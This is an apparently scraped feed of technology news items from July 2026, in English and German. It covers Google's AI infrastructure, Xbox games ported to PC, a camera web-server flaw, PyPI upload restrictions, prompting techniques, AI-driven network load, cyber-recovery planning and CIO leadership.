NW: How has the orchestration platform changed for agents?



ML: Kubernetes is becoming the orchestration platform of choice for AI. Google is transforming GKE [Google Kubernetes Engine] into an agent-native orchestration solution. When expressing intent to an agent and it spins up multiple sub-agents, compute needs to spin up rapidly — TPUs or GPUs — without long delays, then run and spin back down. We’re optimizing at every layer of the GKE stack: significantly improving node startup time and how rapidly we start and stop containers. Lovable demonstrates this with GKE, spinning up hundreds of sandboxes for live coding sessions on their platform in parallel, paying for infrastructure when needed.



NW: What is the role of the network and storage infrastructure?



ML: The network is critical for AI. This requires creating large-scale clusters of GPUs or TPUs and enabling them to talk to each other in a high-performance way. We created the Virgo network — a collapsed network architecture, non-blocking within a data center, where multiple pods or NVLink72 domains connect together.



In TPU8T, we can connect over a million TPUs together leveraging Virgo, creating large-scale, high-performance, reliable clusters that shrink innovation cycles. Storage is equally critical. In large-scale clusters, something is always failing. The ability to take snapshots and go back to a checkpoint is important.



We’ve introduced Managed Lustre 10T, with 10 terabytes per second of bandwidth, 18 petabytes of storage in single clusters. This is 10 times faster than last year and 20 times faster than competition. We have Rapid Bucket, low-latency storage backed by Google storage systems. Both are impactful in large-scale training environments.



NW: How does KV cache strategy differ between training and inference?



ML: For TPU-8i, we increased SRAM on the chip to 384 megabytes — three times the prior generation — and increased the HBM by 50%. Storing KV cache directly in chip memory allows responding to inference requests much more rapidly and cost-effectively than going to an external system. For inference workloads, storing as much KV cache as possible on-chip is critical.



We’re introducing a dedicated KV cache storage subsystem that works across GPUs and TPUs. As KV caches get larger, being able to fall back to this dedicated subsystem becomes critical. Loading model weights rapidly is important in dynamic inference environments where accelerators switch between models hour by hour.



Microsoft hat gerade mein Lieblingsspiel aus der alten Xbox-Ära für den PC veröffentlicht
Thu, 23 Jul 2026 14:49:25 +0200





Wir schreiben das Jahr 2003. Ich bin ein Neuntklässler und spiele auf der Original-Xbox mit einem Controller, der ungefähr so groß ist wie eine Servierplatte. Ich besitze Halo und  Dead or Alive 3 und bin von der Grafik völlig begeistert. Das nächste Spiel, das ich mir kaufe, ist Crimson Skies, ein arcadeartiges Luftkampfspiel, das alternative Geschichte mit Abenteuer-Pulp verbindet und über eine wirklich hervorragende Steuerung verfügt.



Seit über 20 Jahren versuche ich nun, dieses Gefühl – wenn schon nicht genau diese Erfahrung – wieder aufleben zu lassen. 









Die meisten der Blockbuster-Titel aus dem ursprünglichen Xbox-Sortiment können Sie bereits jetzt auf dem PC spielen, darunter auch Halo, für das sowohl ein Remaster als auch ein Remake in Vorbereitung sind. Einige der eher nischenorientierten Titel waren jedoch schon seit sehr, sehr langer Zeit nicht mehr erhältlich, mit Ausnahme einiger weniger, die Sie über den Game Pass streamen können.



Microsoft hat beschlossen, einige dieser weniger bekannten Klassiker – und vielleicht auch ein paar, die dem Begriff „Klassiker“ nicht ganz gerecht werden – in Form vollständiger Portierungen für PC-Spieler verfügbar zu machen.



Xbox-„Klassiker“ erhalten PC-Ports



Das Unternehmen nennt dies „Xbox-Abwärtskompatibilität auf dem PC“. Der Start erfolgt mit vier Spielen, weitere sollen in Kürze folgen. Diese Spiele laufen lokal auf Ihrem Windows-PC, offenbar ohne jegliche Emulation (oder falls eine Emulation stattfindet, wird dies nicht ausdrücklich erwähnt), wobei bestimmte Mindestsystemanforderungen gelten, darunter eine GTX 950- oder Radeon RX 550-Grafikkarte. Grundsätzlich sollte jeder PC, der in den letzten sechs oder sieben Jahren auf den Markt gekommen ist, diese Anforderungen erfüllen, einschließlich Laptops und Handhelds mit integrierter Grafik.



Zu den ersten Titeln gehört Crimson Skies: High Road to Revenge, von dem ich erst später erfuhr, dass es sich um eine ausschließlich für Konsolen veröffentlichte Fortsetzung eines früheren PC-Spiels handelt. Es kostet zehn Euro – erstaunlich günstig in einer Welt, in der Microsoft 40 Euro für eine Wieder-Wieder-Wiederveröffentlichung von Skyrim verlangt.



Ich habe es sofort gekauft und wollte es herunterladen … doch das geht nicht, da es laut der Xbox-App für Windows nur per Streaming über den Game Pass verfügbar ist.



Microsoft gibt an, dass man die neueste Version des Xbox-Insider-Builds benötigt, über die ich bereits verfüge. Dies scheint eine schrittweise Einführung zu sein – ein häufiges Problem bei Funktionen, die von der Xbox-Windows-App abhängig sind. Ich bin etwas verärgert, dass ich es nicht sofort ausprobieren kann.



Das bedeutet auch, dass es nahezu unmöglich sein wird, das Spiel auf einem SteamOS-basierten Gerät zu spielen. Was für mich persönlich sehr schade ist, da ich gerade erst eine Steam Machine gekauft habe. Ich werde diesen Artikel aktualisieren, sobald ich das Spiel zum Laufen gebracht habe.


Microsoft



Die weiteren Titel sind Blinx: The Time Sweeper, einer der frühen Versuche, der Xbox ein Maskottchen-Plattformspiel zu geben, Conker: Live & Reloaded, ein Remake des N64-Kuriosums Conker’s Bad Fur Day, das nach der Übernahme von Rare durch Microsoft entstand, sowie das extrem für die 2000er Jahre typische Partyspiel Fusion Frenzy. Alle vier waren Teil von Microsofts anfänglicher Veröffentlichungsoffensive für die Xbox, und Blinx sowie Crimson Skies sind zudem über den Game Pass verfügbar.



Ich bin mir sicher, dass es vielen PC-Spielern genauso geht wie mir und sie an mindestens eines dieser Spiele schöne Erinnerungen haben. Insbesondere Blinx bot einige sehr interessante Spielkonzepte, die auf älteren Konsolen nicht möglich waren – ermöglicht durch die interne 8-GB-Festplatte der Xbox, ein entscheidender Unterschied zur Playstation 2 und anderen Konsolen. Weitere Spiele sollen angeblich in Zukunft in die Xbox-Abwärtskompatibilität aufgenommen werden, wobei nicht genau angegeben wurde, um welche es sich dabei handelt.



Tiefgreifende Probleme bei Xbox bleiben bestehen



Doch ich fürchte, ich muss die Stimmung hier zum Schluss etwas trüben. Die Xbox als Plattform und als Geschäftsbereich von Microsoft befindet sich in einer prekären Lage: Sie kann im Wettbewerb mit der Playstation nicht mithalten, wird von Valve mit Steam und SteamOS unter Druck gesetzt und entlässt Tausende von Mitarbeitern aus ihrem riesigen, kostspieligen Bestand an Entwicklern und Publishern. Xbox muss dringend Spieler zurückgewinnen, die nach den massiven Preiserhöhungen für den Game Pass und die Xbox-Hardware möglicherweise zögern, der Plattform noch zu vertrauen.



Diese nostalgischen Neuzugänge für den PC folgen kurz nach Gerüchten über ein neues Fallout-Spiel des bei Fans beliebten Entwicklers (und der Microsoft-Tochter) Obsidian, der stark von Entlassungen betroffen war. Es liegt nahe, beide Schritte als Versuch zu betrachten, das Ruder herumzureißen und/oder die Spieler dazu zu bringen, die tiefgreifenden Probleme innerhalb von Xbox und Microsoft insgesamt zu vergessen. Dazu wird es jedoch mehr als eine 23 Jahre alte Portierung brauchen.




The Download: energy transmission and US threats against Chinese AI
Thu, 23 Jul 2026 14:36:24 +0200
This is today’s edition of The Download, our weekday newsletter that provides a daily dose of what’s going on in the world of technology. The power line that could reshape New York’s grid is hitting snags  During a heat wave on July 3, New York State’s grid imported enough electricity from Canada to meet about…


20-year-old web server flaw shipped in modern security camera
Thu, 23 Jul 2026 13:25:40 +0200
A popular Wansview indoor security camera was shipping in 2026 with a web server vulnerable to a flaw first disclosed more than two decades ago. The finding comes from firmware security company Finite State, whose researchers analyzed the Wansview WVC Q5, an inexpensive Wi-Fi camera marketed as a baby monitor, pet camera, and indoor security …
The post 20-year-old web server flaw shipped in modern security camera appeared first on CyberInsider.


Certifying the future; synchronizing EUDI wallets and quantum-readiness
Thu, 23 Jul 2026 13:07:40 +0200
Author: PQShield - Bewertung: 0x - Views:0 
The rollout of the European Digital Identity Wallet (EUDI wallet) demands tight security, but combining high-assurance compliance with post-quantum cryptography creates new engineering bottlenecks. In this episode, host Johannes Lintzen sits down with Wei Yuan, lab manager and director of operations at Applus+ Laboratories. They dissect hardware trust architectures, hardware security module (HSM) limits, and why implementation flaws cause far more security breaches than algorithmic failures.



YouTube chapters

00:00 Introduction to Wei Yuan and Applus+ Laboratories 

03:28 Explaining the European Digital Identity (EUDI) Wallet 

05:28 The importance of data minimization for citizens 

07:41 How laboratories verify vendor security claims 

09:35 The vulnerability of identity data to quantum attacks 

11:12 The 2026 deadline for member state deployment 

12:22 Creating certification schemes with ENISA 

15:46 Comparing secure elements and remote HSMs 

19:12 The role of standardization in preventing delays 

24:33 Navigating international regulation differences 

28:51 Advice for vendors starting their migration 

32:10 Reporting obligations under the Cyber Resilience Act 

34:02 Why implementation matters more than design



Guest bio

Wei Yuan is lab manager and director of operations at Applus+ Laboratories. Working at the boundary of high-assurance evaluation, hardware security, and regulatory policy, he serves as an expert within ENISA working groups, helping shape European digital identity certification standards and transition pathways to post-quantum cryptography.



Stop asking AI nicely: Here’s how to get work-ready results every time
Thu, 23 Jul 2026 13:07:21 +0200

		
					  
						




Over the past few years, I have learned that basic prompts produce inconsistent, hallucination-prone results that no executive would trust in production. What turned the tide was my move to advanced prompting techniques. These weren’t theoretical experiments; they became a practical foundation for reliable, measurable outcomes. I want to share the techniques that consistently delivered the biggest gains in my projects, complete with real before-and-after examples, copy-paste templates, lessons from failures and guidance on when to evolve beyond prompting to agentic systems.



Why advanced prompting still matters in enterprise settings



Sophisticated prompting remains essential for control, reliability and compliance. If you “ask nicely” and hope for the best, you need deterministic behavior, auditable reasoning and minimal risk of hallucination. Here’s what worked for me.



1. Chain-of-Thought (CoT) and its variants: Unlocking step-by-step reasoning



The problem: Models would jump to conclusions on complex analysis tasks, especially involving data interpretation or multi-step logic.



What I did: I started explicitly instructing the model to “think step by step” and show its reasoning.



Before (basic prompt): “Analyze last quarter’s sales data and recommend three actions.”



After (CoT prompt):



“You’re a senior business analyst. Analyze the following sales data step by step: [data]. First, identify the key trends. Second, calculate the rates and anomalies. Third, link findings to business context. Finally, recommend the three prioritized actions with expected impact. Explain your reasoning at each step.”  



Results: Accuracy and depth improved dramatically.



Variants that worked well: Self-consistency. I ran the same CoT prompt multiple times and took the majority consensus. This reduced variability significantly.



Template you can use:



You are [expert role]. Solve this problem by thinking step by step.

[Task or question]

For each step:

1. State your observation or calculation.

2. Explain the implication.

3. Proceed only when confident.

Final answer in this format: [structured output]



2. Tree-of-Thoughts (ToT): Exploring multiple reasoning paths



For truly complex decisions such as resource allocation or risk assessment, linear CoT isn’t enough. Tree-of-Thoughts lets the model generate and evaluate multiple branches.



Example: I was helping a client evaluate three potential vendor platforms for an AI deployment. A standard prompt gave a superficial comparison. With ToT



Prompt Snippet:



Explore three different reasoning paths for selecting the best vendor platform:

Path 1: Focus on cost and scalability.

Path 2: Focus on security, compliance and integration.

Path 3: Focus on innovation and long-term roadmap.

For each path, evaluate pros/cons against our requirements [list].

Then, compare the paths and recommend the strongest overall option with justification.



Outcome: The model surfaced nuanced trade-offs (e.g., one vendor had superior security, but higher integration cost).



When to use: Strategic planning, troubleshooting or scenarios with high uncertainty and multiple viable approaches.



3. ReAct (Reason+ Act) and prompt chaining: Moving toward agentic behavior



One of the biggest leaps I have noticed comes from combining reasoning with tool use and chaining prompts.



ReAct example: (used in data analytics workflow)



You are an AI analyst with access to tools. For the query below:

1. Reason about what information you need.

2. Choose the appropriate tool or action.

3. Observe the result.

4. Repeat until you can answer confidently.

Query: [user request]



In practice, I chained this with retrieval tools. One automated quarterly compliance reporting; the system reasoned about required data, pulled relevant records, validated them, and generated the reports.



4. Meta-prompting and self-reflection: Letting the model improve itself



Use the model to refine its own prompt. This is a huge time-saver.



You are an expert prompt engineer. Improve the following prompt for clarity, structure and effectiveness with [target model]. Make it more precise while preserving intent.

Original prompt: [paste]

Provide the improved version and explain your changes.



Self-reflection loops (asking the model to critique its own output and revise) are a game-changer for content generation and code-review tasks.



5. Multimodal and structured output techniques



With vision-enabled models, I started combining text with images (e.g., uploading architecture diagrams or dashboards).



Tip from experience: Be extremely specific in describing what the models should focus on.



Best practices I learned the hard way




Start simple, then layer complexity: Over-engineered prompts from Day One usually backfire.



Model specific tuning: Some models respond better to XML delimiters; others to explicit reasoning.



Evaluation and versioning: Treat prompts like code if you track versions and run automated evals.



Security guardrails: Always include instructions against prompt injections and respect data boundaries.



When to stop prompting: For repetitive, high-stakes workflows, move to full agents or an orchestration framework.




Final takeaways for technical leaders



Advanced prompt engineering has now become a core competency for anyone responsible for enterprise AI outcomes. Start by picking one technique and apply it rigorously to a real business problem. Document before/ after and you will notice why it’s worth mastering.



The field continues evolving towards more automated and agentic systems, but the ability to precisely direct AI reasoning remains foundational.



This article is published as part of the Foundry Expert Contributor Network.
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Studie: Deutschlands Netze droht durch KI der Kollaps
Thu, 23 Jul 2026 13:02:23 +0200

		
					  
						



Der Countdown läuft. In zwei Jahren könnten viele Netze unter der KI-Last zusammenbrechen.
Dabarti CGI/Shutterstock.com



Deutschland steht unter Zeitdruck. Diesen Eindruck vermittelt die Studie „The accelerating impact of AI on campus and branch networks“. Demnach haben hiesige Unternehmen nur noch etwa 24 Monate Zeit, bevor ihre Netzwerkkapazitäten mit der KI-Nutzung nicht mehr Schritt halten.



Im Rahmen der Studie wurden 3.472 CIOs sowie Führungskräfte aus den Bereichen Netzwerk, End User Computing und Technologie in Asien-Pazifik, Europa, dem Nahen Osten, Lateinamerika und Nordamerika befragt. Darunter waren 200 aus Deutschland. Die Befragten arbeiten in Organisationen mit mehr als 500 Mitarbeitern. Die gemeinsam von Foundry und Cisco konzipierte sowie von Cisco gesponsorte Untersuchung wurde zwischen März und April 2026 durchgeführt.



Kollaps in zwei Jahren



Die gewonnen Zahlen sind alarmierend: 67 Prozent der deutschen Betriebe erwarten, dass ihre Netze innerhalb der nächsten zwei Jahre an ihre Grenzen stoßen werden. Ganze 84 Prozent geben offen zu, dass sie massive Upgrades benötigen, um mit dem explodierenden Datenwachstum Schritt zu halten.



Dabei ist KI längst kein Zukunftsszenario mehr. In deutschen Unternehmen ist sie im Arbeitsalltag angekommen:




GenAI (etwa Chatbots) wird bereits bei 36 Prozent unternehmensweit eingesetzt.



Agentic AI zur Automatisierung von Prozessen folgt mit 32 Prozent.



Physical AI, etwa in der Robotik, liegt bei 25 Prozent.




Daten-Tsunami durch KI


Auswirkungen der KI-Nutzung auf den Netzverkehr.
Cisco White Paper “No time to wait: The accelerating impact of AI on campus and branch networks”



Diese zunehmende KI-Nutzung bringt jedoch ein Problem mit sich: Der dadurch verursachte Datenverkehr wird sich, so die Studie, in den kommenden drei Jahren mehr als verdreifachen (ein Plus von 214 Prozent). Auf diesen Tsunami sind gerade einmal 16 Prozent der deutschen Unternehmen vollumfänglich vorbereitet.



Aber warum bringen die neuen KI-Anwendungen die Infrastruktur so ins Schwitzen? Der Grund liegt in der Arbeitsweise der KI. Im Gegensatz zu einem menschlichen Nutzer, der gelegentlich eine Webseite aufruft, lösen KI-Agenten in Sekundenschnelle Dutzende von API-Aufrufen und Datenbankabfragen aus. Workloads, die keine Fehler verzeihen. Sie reagieren extrem empfindlich auf Latenz, Bandbreitenmangel und Paketverluste.



Kritische Lage in der Industrie



Besonders entscheidend für die Wertschöpfung, Exportkraft und Produktivität in Deutschland ist die Industrie. Gemäß dem kürzlich von Cisco veröffentlichten State of Industrial AI Report setzt zwar ein Fünftel der deutschen Unternehmen KI großflächig und ausgereift in laufenden Industrieprozessen ein. Viele Unternehmen stoßen jedoch durch fehlende Voraussetzungen insbesondere bei Netzwerkinfrastruktur, Cybersicherheit und IT/OT-Betriebsmodellen an ihre Grenzen. Dies gilt insbesondere, wenn KI in Echtzeit in der Produktion eingesetzt wird. Entsprechend benötigt vor allem die Industrie eine moderne und skalierbare Infrastruktur, denn mit KI wird die Netzwerkkapazität Teil der realen Wertschöpfung.



Wenn KI für Deutschland wirklich eine zweite Chance ist, Versäumnisse der Digitalisierung aufzuholen, wie Uwe Peter, Geschäftsführer von Cisco Deutschland, postuliert, dann besteht Handlungsbedarf. So fordert Peter: „Deutschland muss jetzt dringend in KI-fähige und schnell skalierbare Netzwerke investieren, um weiterhin wettbewerbsfähig zu bleiben. Ansonsten droht unserem Wirtschaftsstandort gerade im Vergleich zu anderen Industrienationen ein erheblicher Rückstand.“



Der weltweite Vergleich



Eine Gefahr, die die Studie zu belegen scheint. So sehen weltweit 23 Prozent (hierzulande 16 Prozent) der Unternehmen ihre Netzwerkinfrastruktur vollständig für die KI-Zukunft gerüstet. Und lediglich bei 76 Prozent (Deutschland 84 Prozent) der globalen Unternehmen sind Upgrades erforderlich. Bei der unternehmensweiten KI-Nutzung liegt der weltweite Durchschnitt aktuell in allen drei Bereichen vor Deutschland:




Generative KI 51 Prozent,



Physical AI 28 Prozent



und Agentic AI 33 Prozent.




Ein Flaschenhals ist oft das Funknetz. Die Hälfte der Unternehmen nennt WLAN als den Bereich mit dem größten Kapazitätsbedarf. Hier entbrennt derzeit ein politischer Richtungsstreit um das 6-GHz-Band. Während Experten fordern, dieses Frequenzband für WLAN freizugeben, um die nötigen Kapazitäten für KI zu schaffen, empfiehlt ein EU-Beratungsgremium aktuell die Priorisierung des Mobilfunks.



„Spektrumspolitik ist heute Industriepolitik“, kritisiert denn auch Peter. So stehe für Deutschland viel auf dem Spiel: Bis zum Jahr 2030 könnten der Industrie 13,7 Milliarden Euro verloren gehen, wenn das Spektrum nicht rechtzeitig für WLAN-Anwendungen zugänglich gemacht werde.



The power line that could reshape New York’s grid is hitting snags
Thu, 23 Jul 2026 12:05:49 +0200
On July 3, as a heat wave swept the region, New York State’s grid imported 52 gigawatt-hours of electricity from Canada—enough to meet about 9% of its total electricity demand that day. Some of that power shuttled in on a 339-mile power line stretching from Quebec to Queens called the Champlain Hudson Power Express (CHPE).…


Principles every enterprise must test before the attack arrives
Thu, 23 Jul 2026 12:04:32 +0200

		
					  
						




I haven’t slept much in the past few weeks. Not because of some theoretical cyber risk that keeps many executives awake, but because reality just delivered a real wake-up call to our industry — a call that every executive must answer, now.



Imagine this: A major global enterprise, a company most of us interact with indirectly every single day, wakes up to find its entire digital environment obliterated. Thousands of employees in dozens of offices and remote locations are suddenly offline. Customers are cut off, supply chains grind to a halt and regulators are notified with a chilling admission: “We have no idea when we’ll be back.”



This wasn’t ransomware. There was no negotiation, no decryption key to buy, no easy way out. It was destruction — deliberate, coordinated and geopolitically motivated — not monetary.



As a chief customer officer who’s worked with countless customers on cyberattack risks, my perspective hits a bit differently than a CISO or a CTO. I see the aftermath, not just the attack surface. I see the faces behind the tickets, the operations team locked out of their own systems, the support agent answering panicked calls at dawn. And I ask: How many organizations have actually stress-tested their response to this scenario — not a hypothetical, but this very real, lights-out event? Here’s what every leader needs to confront today:



Recovery is not just a technical exercise



The first assumption to break during a real crisis is the belief that recovery is purely technical.



Many organizations have done tabletop exercises and have a backup and recovery playbook, so they feel prepared. They can point to backup windows, retention schedules and immutability controls. The moment a true blackout happens, a different reality surfaces. The people who own the recovery steps either do not know each other, lack the authority to make decisions without supervisor approval or need guidance from offline systems.



The reality is that technical infrastructure almost always holds up better than human infrastructure. Organizations have built their recovery strategy around the assumption that someone competent will be awake, available and empowered when a cyber event happens.



Still, backups are only as good as their independence. Let’s be blunt: If your recovery infrastructure shares identity, authentication or network trust with your Microsoft tenant (such as Azure, Microsoft 365 or Teams), you don’t actually have a recovery plan; you have a false sense of one — and a liability. A recent survey found that while 90% of organizations express confidence in their ability to recover from a cyber incident, fewer than one in three ransomware victims fully recovered their data.



True resilience means immutable, air-gapped backups, untouchable by the same compromise. Anything less is an illusion. I talk to customers about their recovery plans constantly. The customers who have rehearsed all scenarios sleep soundly. Those who haven’t? They’re rolling the dice.



Most business continuity plans ignore ‘total blackout’



I’ve reviewed hundreds of business continuity plans. Almost all assume partial failures — a region, an application, a data center. But what if every system, in every country, goes dark simultaneously? That’s an entirely different playbook. If your team hasn’t run a drill for a global, simultaneous outage, you’re not prepared. The probability is low, but the cost of being unready is existential.



Connected devices, OT systems, field hardware, partner integrations — they all plug into your enterprise network. When the core collapses, it’s not just IT at risk. It’s operational technology, physical safety systems and in regulated sectors, potentially human lives. Understanding and testing those interdependencies is non-negotiable.



This is also where boards need to change the conversation. A study found that only 5% of companies have cybersecurity experts on their board of directors. Recovery time objectives (RTOs) should not be buried in technical appendices. It’s all jargon to boards. That makes translation essential. RTOs must be explained in terms of business impact. “We can recover in four hours” is a technical statement. “Every hour of downtime costs us $2.3M and creates regulatory exposure in three jurisdictions” is a board statement.



That is the level of clarity leaders need.



The most prepared organizations do not wait for an incident to educate the board. They bring the conversation forward proactively. They frame recovery in business terms: revenue, regulatory standing, customer trust and brand reputation.



The most effective framing is often simple. Show the most critical systems. Show what happens if each one is down for one hour, four hours, 24 hours and 72 hours. Show the current recovery capability against each and then show the gap.



If your board is not demanding real answers, your business continuity strategy is likely underfunded and your business is exposed. This is a risk conversation worth forcing because the consequences do not stay inside IT. They can show up in customer churn or missed revenue and ruin an organization’s reputation.



Threat intelligence must be actionable, not archived



Geopolitical attacks, hacktivist campaigns and nation-state targeting aren’t abstract threats. They are active risks, and that intelligence cannot languish in the security team’s inbox. Executive leadership must be looped in — and immediately — so gaps can be closed before they’re exploited. Too often, intelligence enters the security operations function and never reaches the teams responsible for recovery infrastructure or executive decision-making.



If a threat actor is targeting a specific class of backup agents, the team responsible for those agents needs to know now, not two weeks from now. If intelligence suggests destructive activity against a sector, recovery owners need to validate isolation, access paths and restoration procedures immediately. If geopolitical tension increases the likelihood of targeting, executive leadership needs to understand what exposure exists and what actions are being taken. The organizations that survive aren’t just the best at incident response. They’re the ones who anticipated, rehearsed and invested before the attack.



Part of investing in a recovery strategy requires closing the loop between signal and action. The most prepared organizations have already mapped their critical recovery dependencies to specific threat categories. When intelligence touches one of those categories, there is a named owner and a clear set of actions. No guessing or forwarding emails into the void is needed because the distance between the warning and the employees’ ability to do something is shortened.



Looking ahead, the conversation will continue to evolve beyond traditional cyber response. Because in an AI-enabled enterprise, the new question is whether the data within those systems can still be trusted. When AI systems make decisions based on enterprise data, the attack surface becomes the data’s accuracy. A threat actor who quietly corrupts a dataset over 90 days before a recovery event has done more damage than just downtime. They can poison the inputs driving decisions across the business.



Regardless of how AI will change threat intelligence and cyber response, these principles remain the same. Know your problem, whether structural or technological. Ensure your human infrastructure keeps pace with your technical infrastructure, with clear cross-functional ownership and the tools and knowledge to act autonomously. Communicate with your boards often — and correctly.



Let’s not wait for the next headline to ask, “Are we ready?” Have those conversations now. Test your assumptions. Close your gaps. Because in today’s threat landscape, resilience isn’t IT’s job — it’s everyone’s mandate.



This article is published as part of the Foundry Expert Contributor Network.
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PyPI hardens package security with new upload restrictions
Thu, 23 Jul 2026 11:52:07 +0200
The Python Package Index (PyPI) now rejects uploads of new files to releases older than 14 days to prevent attackers from poisoning long-stable releases if a project’s publishing tokens or release workflows are compromised. “This change will protect Python users and reduce the amount of “cleanup” work associated with project compromises for PyPI admins. This restriction also means that compromises don’t put releases into an indeterminate and confusing state of both “compromised” and “not compromised”, … More →
The post PyPI hardens package security with new upload restrictions appeared first on Help Net Security.


AI success requires a full-stack CIO
Thu, 23 Jul 2026 11:43:10 +0200

		
					  
						




Every CIO I speak with today is wrestling with some version of the same question: How do we move faster with AI and deliver on our commitments?



It’s an understandable concern. Boards and CEOs are asking about AI. Business leaders are experimenting with use cases. Employees are discovering tools daily, while technology vendors promise unprecedented gains in productivity, innovation, and competitive advantage.



After hundreds of conversations with technology executives over the past year, I’ve become convinced that speed isn’t the real issue. The organizations pulling away from the pack aren’t necessarily adopting AI faster than everyone else. They’re executing more effectively — a subtle distinction that represents one of the defining leadership challenges of the AI era.



Technology has never been the hardest part of transformation. People, priorities, culture, and operating models are the biggest challenges. The ability to translate bold boardroom aspirations into thousands of thoughtful decisions made every day by architects, engineers, product managers, analysts, and business leaders is where competitive advantage is created. AI may be accelerating the pace of change, but it hasn’t changed that fundamental truth.



I’ve met plenty of executives who are exceptional in the boardroom. They know how to frame a vision, influence a board, and build confidence among investors and business leaders. I’ve also met remarkable technologists who instinctively understand the architectural decisions, engineering tradeoffs, and implementation details that determine how great ideas become reality. Modern CIOs, however, must move comfortably between both worlds. Afshean Talasaz is one who stands out among this rare breed.



Long before becoming CIO of Colonial Pipeline, Talasaz built his career from the ground up as a business professional, data scientist, and technologist. He has designed enterprise platforms, built AI capabilities, led technology organizations, and partnered closely with executive leadership teams on business transformation. Today, as an executive in residence with our Practitioners for Practitioners (P4P) community, he helps CIOs and business leaders navigate one of the most significant technology shifts of our generation.



While Talasaz brings deep knowledge of data and AI to the table, his greatest strength is his ability to create strategy and connect it with execution. He can spend the morning discussing enterprise reinvention with the board and the afternoon debating architectural principles with the teams responsible for bringing that vision to life.



That versatility gives Talasaz a unique lens on how CIOs can deliver value with AI.



Software companies have a term for engineers who understand every layer of the technology stack: full-stack developers. Listen to Talasaz and it becomes evident that the AI era requires something similar from technology leaders: a full-stack CIO.



The full-stack CIO: Leading with clarity



A full-stack CIO understands how every layer of the enterprise influences the next. They recognize that every strategic priority becomes a portfolio investment, every investment shapes an operating model, every operating model influences architecture, every architecture choice informs product decisions, every product decision shapes engineering priorities.



The best CIOs understand both ends of that journey. The extraordinary ones understand everything in between.



And those who execute best lead with clarity, Talasaz says.



“Everyone, from executives to middle managers to the people writing code, should be able to explain what we’re trying to achieve,” he emphasizes. “Clarity isn’t that we’ve handed out the PowerPoint. It’s that people genuinely understand where we’re going and can articulate it in their own language.”



One of the unintended consequences of the AI boom is that organizations are beginning to confuse activity with alignment. They have AI councils, AI governance committees, AI innovation labs, AI centers of excellence, AI pilots, and AI roadmaps. Yet if you stop ten people in the hallway and ask a deceptively simple question, What business problem are we actually trying to solve? you’ll often hear ten different answers.



As a result, architects optimize for one objective while product teams optimize for another. Business units pursue opportunities that seem perfectly reasonable from their perspective. Engineers make thoughtful technical decisions based on the information available to them. Individually, none of those decisions are necessarily wrong. Collectively, however, they create organizational drift. AI doesn’t create that problem. It simply accelerates the consequences.



And while AI can be a force multiplier for the positive when every decision is guided by a shared understanding of where the organization is headed, it can also be a force multiplier for the negative, resulting in an organization simply moving faster in different directions.



“When we have the fundamentals right, the tech infrastructure, the operating models, the nuances of how our business actually runs, we get the impacts of AI in a positive way,” Talasaz says. “When we don’t have those in place, AI can amplify the gaps or mute the benefits.”



At a time when so much of the conversation surrounding AI is focused on algorithms, agents, and automation, it’s an important reminder that organizations don’t execute strategy; people do.



Reducing organizational friction



Most executives are familiar with the concept of VUCA that characterizes today’s business environment. But Talasaz stresses the importance of turning this concern inward: “If the world outside our organizations is becoming more volatile, uncertain, complex, and ambiguous, what are we, as leaders, doing to the inside of our organizations?”



Leaders spend enormous amounts of time helping their organizations respond to external disruption but comparatively little time asking whether they are inadvertently re-creating those same conditions internally in response to those external needs. Are we reducing uncertainty or introducing more of it? Are we simplifying work or adding unnecessary complexity? Are we helping people focus on what matters most, or asking them to navigate competing priorities and shifting expectations?



Talasaz refers to this phenomenon as double VUCA — something I’ve witnessed repeatedly while working with CIOs over the past decade. Organizations often assume they’re struggling because of technology limitations when the real constraint is organizational friction. Teams wait for decisions. Priorities shift faster than roadmaps. Governance grows heavier. New committees are formed to solve problems created by existing committees. Everyone is working harder, yet the organization somehow feels slower.



AI amplifies both outcomes. Organizations with clarity become dramatically more effective because AI accelerates good decisions. Organizations without clarity simply accelerate confusion.



Operating model as strategy enabler



AI governance is one way to achieve greater clarity, but as Talasaz says, governance shouldn’t primarily exist inside policy manuals that few people read.



Instead, AI governance should be embedded in the daily rhythms of the organization, shaping how teams collaborate, how decisions are made, how products move from ideas into production, and how innovation happens safely without requiring constant escalation. In other words, it’s all about your operating model.



“If you had to pick one thing that isn’t technology, your operating model is the most important element for executing data and AI at scale,” he says.



The best operating models create enough clarity that capable people can make thousands of decisions independently and confidently, without having to wait for permission. By embedding good governance into the way it works, the organization becomes faster.



This advice echoes something I’ve heard repeatedly from some of the world’s most respected CIOs: High-performing organizations aren’t built on tighter control; they’re built on greater trust, supported by clear principles, shared expectations, and operating models that enable responsible decision-making at every level of the enterprise.



Talasaz points out that technology leaders tend to speak in terms of transformation. He suggests CIOs consider a different word: reinvention.



As he explains, transformation implies replacing what exists today with something new. Reinvention starts with a more clear-eyed and practical premise: Some things absolutely must change; others represent years, sometimes decades, of accumulated expertise, customer trust, operational discipline, and competitive advantage.



Reinvention is about building on those strengths while also creating new ways to deliver value. The leaders making the greatest progress in their AI journeys seem to recognize that it’s less about abandoning the past than thoughtfully preparing the organization for the future.



Closing the gap between strategy and execution



Full-stack CIOs must be able to map out the various layers of execution and planning that need to be done at every level of the organization to be successful. To help with this, Talasaz has developed a data and AI framework that draws on his own experiences “from the keyboard to the boardroom.”



As Talasaz sees it, too many organizations have been doing good work in isolation. “They’re doing a lot of the right things,” he says. “They’re just not connected.”



Boards may be discussing growth while business leaders redesign customer experiences. Product teams may be prioritizing new capabilities while architects modernize platforms. Data teams may be improving quality while engineers focus on delivery. Every group makes meaningful progress within its own domain, yet somewhere between strategy and execution, the connective tissue begins to disappear. Talasaz’s framework brings those connecting points to the forefront.



Crucially, the framework doesn’t begin with technology or AI or even with data. It begins with the experiences the organization hopes to create for its customers, employees, or partners. Many AI initiatives start with the question, “What can this technology do?” And indeed, we need to be inspired by the possibilities and challenged to think differently by what the technology can do. But, Talasaz emphasizes, we also need to ask what experiences we need to deliver for our business and how the technology can make that a reality.



The framework challenges CIOs to answer that question first. Only after the experiences are clearly defined does the conversation move to the capabilities required to deliver it, the business activities that support those capabilities, the AI and data products that enable them, and finally the data foundation that makes everything possible.



This shift in perspective ensures that, rather than allowing technology investments to search for business value, the business experience defines the technology required to deliver it. For CIOs, that’s more than a planning exercise. It’s a fundamentally different way of leading.



Over the coming months, the P4P community will be convening a series of small CxO roundtables to explore these issues and work more deeply with Afshean Talasaz’s 6×6 Data and AI Framework. CIOs and other enterprise leaders interested in participating are welcome to reach out to me directly.



WSL container: A quiet revolution for Windows development
Thu, 23 Jul 2026 11:07:20 +0200

		
					  
						




